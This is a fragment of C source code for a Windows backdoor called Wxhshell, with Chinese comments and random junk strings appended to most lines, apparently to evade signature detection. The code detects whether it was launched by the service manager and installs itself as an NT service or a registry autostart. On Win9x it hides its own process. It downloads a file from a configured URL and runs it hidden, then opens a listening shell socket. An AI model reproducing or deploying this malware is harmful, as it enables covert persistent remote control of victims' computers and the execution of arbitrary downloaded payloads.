DWORD AffinityMask; K&BaGrR
DWORD BasePriority; )0zg1z
ULONG UniqueProcessId; vQ8$C 3
ULONG InheritedFromUniqueProcessId; =55V<VI
} PROCESS_BASIC_INFORMATION; qJ[wVNHh!
bK k7w#y
PROCNTQSIP NtQueryInformationProcess; z?W kHQ9
wowWq\euY
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \?[ m%$A
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Q}|0
4@=[rZb9
HANDLE hProcess; *0Wkz'=U
PROCESS_BASIC_INFORMATION pbi; c3(0BSv
m O"Rq5
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Z_s]2y1
if(NULL == hInst ) return 0; FTu<$`!1L
O)c3Lm-w
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _mTNK^gB
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); R'qBG(?i
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &/?OP)N,}
\m(>Q
if (!NtQueryInformationProcess) return 0; {7.uwIW.1
x LGMN)@r
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); l $0w 9Z^
if(!hProcess) return 0; ik5"9b-\<
^ #3,*(S
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1;HL=F
AmK g;9LS
CloseHandle(hProcess); 2{S*$K[M
Q}uh`?t
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~*L@|?
if(hProcess==NULL) return 0; S2?)Sb`
xP &@|Ag
HMODULE hMod; L#fS P
char procName[255]; vH@$?b3VP
unsigned long cbNeeded;
TIxlLOs
!L)yI#i4C
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4F+G;'JV
mxICQ>s
b
CloseHandle(hProcess); 4"eeEs h
{'cdi`
if(strstr(procName,"services")) return 1; // 以服务启动 r@ba1*y0
mV}eMw
return 0; // 注册表启动 'grb@+w(
}
5"w%
:AyZe7:(D
// 主模块 h([qq<Lzs
int StartWxhshell(LPSTR lpCmdLine) 9g7Ok9dF
{ 2>.>q9J(
SOCKET wsl; $it>*%
BOOL val=TRUE; `tm(3pJ
int port=0; LP) IL~
struct sockaddr_in door; 2G$-:4B
8},fu3Z
if(wscfg.ws_autoins) Install(); Z$S0X$q}
EC?U#!kv
port=atoi(lpCmdLine); xt8@l
[Z
Co`:D
if(port<=0) port=wscfg.ws_port; w^/"j_p@
)T@+"Pw8t
WSADATA data; BA_l*h%=Cc
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; qGgdWDn`
fw0Z- 9*
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; =A;79@bY
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %Z(lTvqG
door.sin_family = AF_INET; #M92=IH
door.sin_addr.s_addr = inet_addr("127.0.0.1"); XNkQ0o0
door.sin_port = htons(port);
DIh[%
#DcK{|ty
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1 w9Aoc
closesocket(wsl); cQ/T:E7$`
return 1; bfA9aT
} ,tuZ_"?M
IF3 V5Q
if(listen(wsl,2) == INVALID_SOCKET) { CvqUaHW@
closesocket(wsl); T\L
LOx\
return 1; 'deqF|Iox
} 6d YUMqQ
Wxhshell(wsl); b!g8NG
WSACleanup(); ]j<&
:_
VB{G%!}
return 0; G)\6W#de4
^Xslj
} H$]FUv8
uB35CRd
// 以NT服务方式启动 3<HPZWc
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ys|};*
{ eh$T
3_#q
DWORD status = 0; +#ANc;2g
DWORD specificError = 0xfffffff; O)G^VD s
U`ELd:
serviceStatus.dwServiceType = SERVICE_WIN32; n\H.NL)
serviceStatus.dwCurrentState = SERVICE_START_PENDING; y?{YQ)fj
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7(KVA1P66
serviceStatus.dwWin32ExitCode = 0; )UG<KcdI
serviceStatus.dwServiceSpecificExitCode = 0; JU0|pstf
serviceStatus.dwCheckPoint = 0; k'+Mc%pg4E
serviceStatus.dwWaitHint = 0; @KC;"u'C
l&v&a!EU
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); h-[FUPfuw
if (hServiceStatusHandle==0) return; `oo(\O7t=
CT#N9
status = GetLastError(); CEp @-R
if (status!=NO_ERROR) n7K\\|X
{ /h73'"SpDy
serviceStatus.dwCurrentState = SERVICE_STOPPED; p*(]8pDC
serviceStatus.dwCheckPoint = 0; wmG[*a_H
serviceStatus.dwWaitHint = 0; ;yg9{"O
serviceStatus.dwWin32ExitCode = status; %q
7gl;'
serviceStatus.dwServiceSpecificExitCode = specificError; S`GM#( t@_
SetServiceStatus(hServiceStatusHandle, &serviceStatus); $WK~|+"{>
return; #:3~I
} `=cOTn52
&c1zEgl
serviceStatus.dwCurrentState = SERVICE_RUNNING; S4BU !
serviceStatus.dwCheckPoint = 0; "+:IA|1wD
serviceStatus.dwWaitHint = 0; j#)K/`
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5A=FEg
} xu7Q^F#u
+cnBEv~y
// 处理NT服务事件,比如:启动、停止 C!}9[X!7@:
VOID WINAPI NTServiceHandler(DWORD fdwControl) }~`l!ApD
{ iZ-"l3)D
switch(fdwControl) YE\s<$
{ ^J Y]w^u
case SERVICE_CONTROL_STOP: ",qJG]_ <
serviceStatus.dwWin32ExitCode = 0; X6Hd%}*mN
serviceStatus.dwCurrentState = SERVICE_STOPPED; ;nB.f.e`
serviceStatus.dwCheckPoint = 0; N61\]BN<
serviceStatus.dwWaitHint = 0; /{d5$(Y"
{ OwM.N+z#T
SetServiceStatus(hServiceStatusHandle, &serviceStatus); )mw&e}jRV
} c/G]r|k
return; [Vaw$c-+[y
case SERVICE_CONTROL_PAUSE: VDP \E<3"
serviceStatus.dwCurrentState = SERVICE_PAUSED; Pe_FW8e#J
break; rVo?I
case SERVICE_CONTROL_CONTINUE: IDpW5Dc
serviceStatus.dwCurrentState = SERVICE_RUNNING; |}>;wZ[7
break; +sc--e?
case SERVICE_CONTROL_INTERROGATE: eDPmUlC+-
break; Tp?l;DU
}; *N#{~
SetServiceStatus(hServiceStatusHandle, &serviceStatus); w,QO!)j!
} Iq[Z5k(K
>C|i^4ppI
// 标准应用程序主函数 ;<=B I!
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) NJ{M-K%>
{ e):rr*
rpu{YC1C%
// 获取操作系统版本 u`2[V4=L
OsIsNt=GetOsVer(); PHh&@:
GetModuleFileName(NULL,ExeFile,MAX_PATH); eBW=bK~[VP
R~R ?0aq
// 从命令行安装 8#MiM . f
if(strpbrk(lpCmdLine,"iI")) Install(); s;;"^5B.
'sCj|=y2Qc
// 下载执行文件 p7pJ90~E
if(wscfg.ws_downexe) { \Y{^Q7!>:8
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |#. J
WinExec(wscfg.ws_filenam,SW_HIDE); QP{V
} WTcrfs)T
*=X$j~#X
if(!OsIsNt) { _V`Gmy[]p
// 如果时win9x,隐藏进程并且设置为注册表启动 b&V}&9'[M;
HideProc(); #&cNR_"w
StartWxhshell(lpCmdLine); J~jR`2+r
} 4/Yk;X[jk
else dk^Uf84.Gr
if(StartFromService()) 0Lo)Ni^"
// 以服务方式启动 C&QT-|
StartServiceCtrlDispatcher(DispatchTable); ^U`Bj*"2
else /b)V=mcR
// 普通方式启动 f/Lyc=-]
StartWxhshell(lpCmdLine); w<ol$2&B
sr&hQ
return 0; dt -=7mz#
}